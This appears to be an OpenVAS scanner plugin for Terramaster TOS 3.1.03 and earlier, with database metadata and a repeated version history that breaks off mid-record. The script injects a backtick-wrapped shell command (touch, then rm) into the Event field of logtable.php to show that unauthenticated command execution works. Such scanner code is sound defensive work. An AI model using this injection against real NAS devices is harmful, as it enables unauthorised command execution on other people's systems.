Terramaster TOS <= 3.1.03 Multiple Vulnerabilities
2018-12-04T00:00:00
ID OPENVAS:1361412562310141751 Type openvas Reporter This script is Copyright (C) 2018 Greenbone Networks GmbH Modified 2019-08-28T00:00:00
Description
Terramaster TOS is prone to multiple vulnerabilities.
##############################################################################
# OpenVAS Vulnerability Test
#
# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities
#
# Authors:
# Christian Kuersteiner <christian.kuersteiner@greenbone.net>
#
# Copyright:
# Copyright (c) 2018 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
CPE = "cpe:/a:noontec:terramaster";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.141751");
script_version("2019-08-28T07:30:37+0000");
script_tag(name:"last_modification", value:"2019-08-28 07:30:37 +0000 (Wed, 28 Aug 2019)");
script_tag(name:"creation_date", value:"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_cve_id("CVE-2018-13329", "CVE-2018-13330", "CVE-2018-13331", "CVE-2018-13332", "CVE-2018-13333",
"CVE-2018-13334", "CVE-2018-13335", "CVE-2018-13336", "CVE-2018-13337", "CVE-2018-13338",
"CVE-2018-13349", "CVE-2018-13350", "CVE-2018-13351", "CVE-2018-13352", "CVE-2018-13353",
"CVE-2018-13354", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13357", "CVE-2018-13358",
"CVE-2018-13359", "CVE-2018-13360", "CVE-2018-13361", "CVE-2018-13418");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"NoneAvailable");
script_name("Terramaster TOS <= 3.1.03 Multiple Vulnerabilities");
script_category(ACT_GATHER_INFO);
script_copyright("This script is Copyright (C) 2018 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_terramaster_nas_detect.nasl");
script_mandatory_keys("terramaster_nas/detected");
script_tag(name:"summary", value:"Terramaster TOS is prone to multiple vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"affected", value:"Terramaster TOS version 3.1.03 and prior.");
script_tag(name:"solution", value:"No known solution is available as of 28th August, 2019.
Information regarding this issue will be updated once solution details are available.");
script_xref(name:"URL", value:"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109");
script_xref(name:"URL", value:"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE))
exit(0);
if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
exit(0);
vt_strings = get_vt_strings();
file = vt_strings["default_rand"] + ".txt";
url = '/include/ajax/logtable.php';
headers = make_array("Content-Type", "application/x-www-form-urlencoded");
data = "tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F" + file + "%60&table=access_syslog";
req = http_post_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
req = http_get(port: port, item: "/" + file);
res = http_keepalive_send_recv(port: port, data: req);
if (res =~ "^HTTP/1\.[01] 200") {
report = "It was possible to execute the os command 'touch' to write a file on the system.";
security_message(port: port, data: report);
# Cleanup
data = "tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F" + file + "%60&table=access_syslog";
req = http_post_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
exit(0);
}
exit(99);
{"id": "OPENVAS:1361412562310141751", "bulletinFamily": "scanner", "title": "Terramaster TOS <= 3.1.03 Multiple Vulnerabilities", "description": "Terramaster TOS is prone to multiple vulnerabilities.", "published": "2018-12-04T00:00:00", "modified": "2019-08-28T00:00:00", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310141751", "reporter": "This script is Copyright (C) 2018 Greenbone Networks GmbH", "references": ["https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63", "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109"], "cvelist": ["CVE-2018-13335", "CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13329", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13361", "CVE-2018-13360", "CVE-2018-13331", "CVE-2018-13336", "CVE-2018-13334", "CVE-2018-13354", "CVE-2018-13359", "CVE-2018-13333", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13330", "CVE-2018-13353", "CVE-2018-13338", "CVE-2018-13350", "CVE-2018-13332"], "type": "openvas", "lastseen": "2019-08-28T14:53:13", "history": [{"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2018-13335", "CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13329", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13361", "CVE-2018-13360", "CVE-2018-13331", "CVE-2018-13336", "CVE-2018-13334", "CVE-2018-13354", "CVE-2018-13359", "CVE-2018-13333", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13330", "CVE-2018-13353", "CVE-2018-13338", "CVE-2018-13350", "CVE-2018-13332"], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Terramaster TOS is prone to multiple vulnerabilites.", "edition": 1, "enchantments": {}, "hash": "eaa079d84fde91f6fb89a993592ab432c4b65fcd6063ca11a3206d22876abbf8", "hashmap": [{"hash": "f5a7c6fbed7d69b9366f07e021ae8bd3", "key": "modified"}, {"hash": "f4e73017584f74dc267dc9f9f7a27ff2", "key": "href"}, {"hash": "29434c8e0023957921c1976bf1458bc9", "key": "reporter"}, {"hash": "09a094df74011b9eaaac688149bc38b7", "key": "cvelist"}, {"hash": "24bd1b79c616c488091be974fdc6c1de", "key": "description"}, {"hash": "f5a7c6fbed7d69b9366f07e021ae8bd3", "key": "published"}, {"hash": "4bf038833ddf0965cb6496954d14d1b1", "key": "sourceData"}, {"hash": "1efde50a421d82ee34b32c0db5e2555f", "key": "title"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "648d97c87bfdb7d324854bc9aa3a5a2d", "key": "pluginID"}, {"hash": "30710ca3ed831a495b7a82f7913fc280", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310141751", "id": "OPENVAS:1361412562310141751", "lastseen": "2018-12-05T13:25:46", "modified": "2018-12-04T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310141751", "published": "2018-12-04T00:00:00", "references": ["https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63", "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109"], "reporter": "This script is Copyright (C) 2018 Greenbone Networks GmbH", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_terramaster_mult_vuln.nasl 12646 2018-12-04 10:49:34Z ckuersteiner $\n#\n# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:noontec:terramaster\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141751\");\n script_version(\"$Revision: 12646 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-12-04 11:49:34 +0100 (Tue, 04 Dec 2018) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2018-13329\", \"CVE-2018-13330\", \"CVE-2018-13331\", \"CVE-2018-13332\", \"CVE-2018-13333\",\n \"CVE-2018-13334\", \"CVE-2018-13335\", \"CVE-2018-13336\", \"CVE-2018-13337\", \"CVE-2018-13338\",\n \"CVE-2018-13349\", \"CVE-2018-13350\", \"CVE-2018-13351\", \"CVE-2018-13352\", \"CVE-2018-13353\",\n \"CVE-2018-13354\", \"CVE-2018-13355\", \"CVE-2018-13356\", \"CVE-2018-13357\", \"CVE-2018-13358\",\n \"CVE-2018-13359\", \"CVE-2018-13360\", \"CVE-2018-13361\", \"CVE-2018-13418\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"NoneAvailable\");\n\n script_name(\"Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_terramaster_nas_detect.nasl\");\n script_mandatory_keys(\"terramaster_nas/detected\");\n\n script_tag(name:\"summary\", value:\"Terramaster TOS is prone to multiple vulnerabilites.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP POST request and checks the response.\");\n\n script_tag(name:\"affected\", value:\"Terramaster TOS version 3.1.03 and prior.\");\n\n script_tag(name:\"solution\", value:\"No known solution is available as of 04th December, 2018.\n Information regarding this issue will be updated once solution details are available.\");\n\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109\");\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!get_app_location(cpe: CPE, port: port, nofork: TRUE))\n exit(0);\n\nvt_strings = get_vt_strings();\nfile = vt_strings[\"default_rand\"] + \".txt\";\n\nurl = '/include/ajax/logtable.php';\nheaders = make_array(\"Content-Type\", \"application/x-www-form-urlencoded\");\ndata = \"tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n\nreq = http_post_req(port: port, url: url, data: data, add_headers: headers);\nres = http_keepalive_send_recv(port: port, data: req);\n\nreq = http_get(port: port, item: \"/\" + file);\nres = http_keepalive_send_recv(port: port, data: req);\n\nif (res =~ \"^HTTP/1\\.[01] 200\") {\n report = \"It was possible to execute the os command 'touch' to write a file on the system.\";\n security_message(port: port, data: report);\n\n # Cleanup\n data = \"tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n req = http_post_req(port: port, url: url, data: data, add_headers: headers);\n res = http_keepalive_send_recv(port: port, data: req);\n\n exit(0);\n}\n\nexit(99);\n", "title": "Terramaster TOS <= 3.1.03 Multiple Vulnerabilities", "type": "openvas", "viewCount": 0}, "differentElements": ["description", "modified", "sourceData"], "edition": 1, "lastseen": "2018-12-05T13:25:46"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2018-13335", "CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13329", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13361", "CVE-2018-13360", "CVE-2018-13331", "CVE-2018-13336", "CVE-2018-13334", "CVE-2018-13354", "CVE-2018-13359", "CVE-2018-13333", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13330", "CVE-2018-13353", "CVE-2018-13338", "CVE-2018-13350", "CVE-2018-13332"], "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Terramaster TOS is prone to multiple vulnerabilities.", "edition": 5, "enchantments": {"dependencies": {"modified": "2019-02-26T15:28:05", "references": [{"idList": ["CVE-2018-13335", "CVE-2018-13355", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13360", "CVE-2018-13334", "CVE-2018-13359", "CVE-2018-13418", "CVE-2018-13338", "CVE-2018-13350"], "type": "cve"}, {"idList": ["E-678"], "type": "dsquare"}]}, "score": {"modified": "2019-02-26T15:28:05", "value": 6.5, "vector": "NONE"}}, "hash": "3799bcad47bb5182dc862db7957a337c35308555529206866f1baf16a65bba46", "hashmap": [{"hash": "f4e73017584f74dc267dc9f9f7a27ff2", "key": "href"}, {"hash": "29434c8e0023957921c1976bf1458bc9", "key": "reporter"}, {"hash": "09a094df74011b9eaaac688149bc38b7", "key": "cvelist"}, {"hash": "f5a7c6fbed7d69b9366f07e021ae8bd3", "key": "published"}, {"hash": "1efde50a421d82ee34b32c0db5e2555f", "key": "title"}, {"hash": "2bdabeb49c44761f9565717ab0e38165", "key": "cvss"}, {"hash": "6a8535d82bf6ddc9c58387bdec1620fb", "key": "modified"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "b12a6f0f44cb5e9aa7fd26435d8d97a2", "key": "description"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "648d97c87bfdb7d324854bc9aa3a5a2d", "key": "pluginID"}, {"hash": "d78e1dcfb78ebf88aaee13fbfce95639", "key": "sourceData"}, {"hash": "30710ca3ed831a495b7a82f7913fc280", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310141751", "id": "OPENVAS:1361412562310141751", "lastseen": "2019-02-26T15:28:05", "modified": "2019-02-26T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310141751", "published": "2018-12-04T00:00:00", "references": ["https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63", "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109"], "reporter": "This script is Copyright (C) 2018 Greenbone Networks GmbH", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_terramaster_mult_vuln.nasl 13858 2019-02-26 04:17:07Z ckuersteiner $\n#\n# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:noontec:terramaster\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141751\");\n script_version(\"$Revision: 13858 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-02-26 05:17:07 +0100 (Tue, 26 Feb 2019) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2018-13329\", \"CVE-2018-13330\", \"CVE-2018-13331\", \"CVE-2018-13332\", \"CVE-2018-13333\",\n \"CVE-2018-13334\", \"CVE-2018-13335\", \"CVE-2018-13336\", \"CVE-2018-13337\", \"CVE-2018-13338\",\n \"CVE-2018-13349\", \"CVE-2018-13350\", \"CVE-2018-13351\", \"CVE-2018-13352\", \"CVE-2018-13353\",\n \"CVE-2018-13354\", \"CVE-2018-13355\", \"CVE-2018-13356\", \"CVE-2018-13357\", \"CVE-2018-13358\",\n \"CVE-2018-13359\", \"CVE-2018-13360\", \"CVE-2018-13361\", \"CVE-2018-13418\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"NoneAvailable\");\n\n script_name(\"Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_terramaster_nas_detect.nasl\");\n script_mandatory_keys(\"terramaster_nas/detected\");\n\n script_tag(name:\"summary\", value:\"Terramaster TOS is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP POST request and checks the response.\");\n\n script_tag(name:\"affected\", value:\"Terramaster TOS version 3.1.03 and prior.\");\n\n script_tag(name:\"solution\", value:\"No known solution is available as of 26th February, 2019.\n Information regarding this issue will be updated once solution details are available.\");\n\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109\");\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!get_app_location(cpe: CPE, port: port, nofork: TRUE))\n exit(0);\n\nvt_strings = get_vt_strings();\nfile = vt_strings[\"default_rand\"] + \".txt\";\n\nurl = '/include/ajax/logtable.php';\nheaders = make_array(\"Content-Type\", \"application/x-www-form-urlencoded\");\ndata = \"tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n\nreq = http_post_req(port: port, url: url, data: data, add_headers: headers);\nres = http_keepalive_send_recv(port: port, data: req);\n\nreq = http_get(port: port, item: \"/\" + file);\nres = http_keepalive_send_recv(port: port, data: req);\n\nif (res =~ \"^HTTP/1\\.[01] 200\") {\n report = \"It was possible to execute the os command 'touch' to write a file on the system.\";\n security_message(port: port, data: report);\n\n # Cleanup\n data = \"tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n req = http_post_req(port: port, url: url, data: data, add_headers: headers);\n res = http_keepalive_send_recv(port: port, data: req);\n\n exit(0);\n}\n\nexit(99);\n", "title": "Terramaster TOS <= 3.1.03 Multiple Vulnerabilities", "type": "openvas", "viewCount": 4}, "differentElements": ["cvss"], "edition": 5, "lastseen": "2019-02-26T15:28:05"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2018-13335", "CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13329", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13361", "CVE-2018-13360", "CVE-2018-13331", "CVE-2018-13336", "CVE-2018-13334", "CVE-2018-13354", "CVE-2018-13359", "CVE-2018-13333", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13330", "CVE-2018-13353", "CVE-2018-13338", "CVE-2018-13350", "CVE-2018-13332"], "cvss": {"score": 0.0, "vector": "NONE"}, "description": "Terramaster TOS is prone to multiple vulnerabilities.", "edition": 2, "enchantments": {}, "hash": "73b9d0bf2a217d0c5b7e804705805b4971aa5456729847319fc0806870860232", "hashmap": [{"hash": "f4e73017584f74dc267dc9f9f7a27ff2", "key": "href"}, {"hash": "29434c8e0023957921c1976bf1458bc9", "key": "reporter"}, {"hash": "09a094df74011b9eaaac688149bc38b7", "key": "cvelist"}, {"hash": "f5a7c6fbed7d69b9366f07e021ae8bd3", "key": "published"}, {"hash": "1efde50a421d82ee34b32c0db5e2555f", "key": "title"}, {"hash": "f5980887d7464343a20ba13ff6950221", "key": "sourceData"}, {"hash": "00508468a8679345d59d4b986030111e", "key": "modified"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "b12a6f0f44cb5e9aa7fd26435d8d97a2", "key": "description"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "648d97c87bfdb7d324854bc9aa3a5a2d", "key": "pluginID"}, {"hash": "30710ca3ed831a495b7a82f7913fc280", "key": "references"}], "history": [], "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310141751", "id": "OPENVAS:1361412562310141751", "lastseen": "2018-12-11T15:34:46", "modified": "2018-12-10T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310141751", "published": "2018-12-04T00:00:00", "references": ["https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63", "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109"], "reporter": "This script is Copyright (C) 2018 Greenbone Networks GmbH", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_terramaster_mult_vuln.nasl 12744 2018-12-10 13:48:33Z cfischer $\n#\n# Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\n#\n# Authors:\n# Christian Kuersteiner <christian.kuersteiner@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2018 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:noontec:terramaster\";\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.141751\");\n script_version(\"$Revision: 12744 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-12-10 14:48:33 +0100 (Mon, 10 Dec 2018) $\");\n script_tag(name:\"creation_date\", value:\"2018-12-04 17:22:47 +0700 (Tue, 04 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n\n script_cve_id(\"CVE-2018-13329\", \"CVE-2018-13330\", \"CVE-2018-13331\", \"CVE-2018-13332\", \"CVE-2018-13333\",\n \"CVE-2018-13334\", \"CVE-2018-13335\", \"CVE-2018-13336\", \"CVE-2018-13337\", \"CVE-2018-13338\",\n \"CVE-2018-13349\", \"CVE-2018-13350\", \"CVE-2018-13351\", \"CVE-2018-13352\", \"CVE-2018-13353\",\n \"CVE-2018-13354\", \"CVE-2018-13355\", \"CVE-2018-13356\", \"CVE-2018-13357\", \"CVE-2018-13358\",\n \"CVE-2018-13359\", \"CVE-2018-13360\", \"CVE-2018-13361\", \"CVE-2018-13418\");\n\n script_tag(name:\"qod_type\", value:\"exploit\");\n\n script_tag(name:\"solution_type\", value:\"NoneAvailable\");\n\n script_name(\"Terramaster TOS <= 3.1.03 Multiple Vulnerabilities\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"This script is Copyright (C) 2018 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_terramaster_nas_detect.nasl\");\n script_mandatory_keys(\"terramaster_nas/detected\");\n\n script_tag(name:\"summary\", value:\"Terramaster TOS is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Sends a crafted HTTP POST request and checks the response.\");\n\n script_tag(name:\"affected\", value:\"Terramaster TOS version 3.1.03 and prior.\");\n\n script_tag(name:\"solution\", value:\"No known solution is available as of 04th December, 2018.\n Information regarding this issue will be updated once solution details are available.\");\n\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a?gi=2baa8c595109\");\n script_xref(name:\"URL\", value:\"https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\ninclude(\"misc_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!get_app_location(cpe: CPE, port: port, nofork: TRUE))\n exit(0);\n\nvt_strings = get_vt_strings();\nfile = vt_strings[\"default_rand\"] + \".txt\";\n\nurl = '/include/ajax/logtable.php';\nheaders = make_array(\"Content-Type\", \"application/x-www-form-urlencoded\");\ndata = \"tab=gettotal&Event=%60touch%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n\nreq = http_post_req(port: port, url: url, data: data, add_headers: headers);\nres = http_keepalive_send_recv(port: port, data: req);\n\nreq = http_get(port: port, item: \"/\" + file);\nres = http_keepalive_send_recv(port: port, data: req);\n\nif (res =~ \"^HTTP/1\\.[01] 200\") {\n report = \"It was possible to execute the os command 'touch' to write a file on the system.\";\n security_message(port: port, data: report);\n\n # Cleanup\n data = \"tab=gettotal&Event=%60rm%20%2Fusr%2Fwww%2F\" + file + \"%60&table=access_syslog\";\n req = http_post_req(port: port, url: url, data: data, add_headers: headers);\n res = http_keepalive_send_recv(port: port, data: req);\n\n exit(0);\n}\n\nexit(99);\n", "title": "Terramaster TOS <= 3.1.03 Multiple Vulnerabilities", "type": "openvas", "viewCount": 0}, "differentElements": ["cvss"], "edition": 2, "lastseen": "2018-12-11T15:34:46"}, {"bulletin": {"bulletinFamily": "scanner", "cvelist": ["CVE-2018-13335", "CVE-2018-13337", "CVE-2018-13349", "CVE-2018-13355", "CVE-2018-13356", "CVE-2018-13329", "CVE-2018-13357", "CVE-2018-13358", "CVE-2018-13351", "CVE-2018-13361", "CVE-2018-13360", "CVE-2018-13331", "CVE-2018-13336", "CVE-2018-13334", "CVE-2018-13354", "CVE-2018-13359", "CVE-2018-13333", "CVE-2018-13418", "CVE-2018-13352", "CVE-2018-13330", "CVE-2018-13353", "CVE-2018-13338", "CVE-2018-13350", "CVE-2018-13332"], "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Terramaster TOS is prone to multiple vulnerabilities.", "edition": 3, "enchantments": {}, "hash": "942df8c704b9de1195913cf9a2c43bf647f169e91bdd3e6083abc910e2bf7537", "hashmap": [{"hash": "f4e73017584f74dc267dc9f9f7a27ff2", "key": "href"}, {"hash": "29434c8e0023957921c1976bf1458bc9", "key": "reporter"}, {"hash": "09a094df74011b9eaaac688149bc38b7", "key": "cvelist"}, {"hash": "f5a7c6fbed7d69b9366f07e021ae8bd3", "key": "published"}, {"hash": "1efde50a421d82ee34b32c0db5e2555f", "key": "title"}, {"hash": "2bdabeb49c44761f9565717ab0e38165", "key": "cvss"}, {"hash": "f5980887d7464343a20ba13ff6950221", "key": "sourceData"}, {"hash": "00508468a8679345d59d4b986030111e", "key": "modified"}, {"hash": "55199d25018fbdb9b50e6b64d444c3a4", "key": "naslFamily"}, {"hash": "47c1f692ea47a21f716dad07043ade01", "key": "type"}, {"hash": "b12a6f0f44cb5e9aa7fd26435d8d97a2", "key": "description"}, {"hash": "bbdaea376f500d25f6b0c1050311dd07", "key": "bulletinFamily"}, {"hash": "648d97c87bfdb7d324854bc9aa3a5a2d", "key": "pluginID"}, {"hash": "30710ca3ed831a495b7a82f7913fc280", "key": "references"}], "history": [], "href": 